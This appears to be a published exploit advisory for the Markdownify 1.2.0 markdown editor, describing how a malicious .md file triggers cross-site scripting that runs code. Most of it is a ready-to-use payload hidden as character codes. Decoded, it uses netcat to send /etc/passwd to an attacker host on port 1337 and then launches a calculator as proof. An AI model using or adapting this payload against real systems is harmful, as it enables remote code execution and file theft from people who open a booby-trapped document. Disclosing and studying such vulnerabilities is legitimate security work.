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Markdownify 1.2.0 Cross Site Scripting / Code Execution

Markdownify 1.2.0 Cross Site Scripting / Code Execution
Posted May 6, 2021
Authored by Taurus Omar

Markdownify version 1.2.0 suffers from a cross site scripting vulnerability that can lead to remote code execution.

tags | exploit, remote, code execution, xss
MD5 | 272e2be2bcd3f56bdee0ae91eeb7f6fc

Markdownify 1.2.0 Cross Site Scripting / Code Execution

Change Mirror Download
# Exploit Title: Markdownify 1.2.0 XSS to RCE
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/amitmerchant1990/electron-markdownify
# Version: 1.2.0
# Tested on: Windows, Linux, MacOs

# Software Description:
It is a lightweight editor for viewing and editing the markdown documentation of aYou can browse your personal folder to view and edit your files, change view / edit mode in md file with subject at the top.


# Vulnerability Description:
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately. The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer.


#Proof
https://imgur.com/a/T4jBoiS


# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)

[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)

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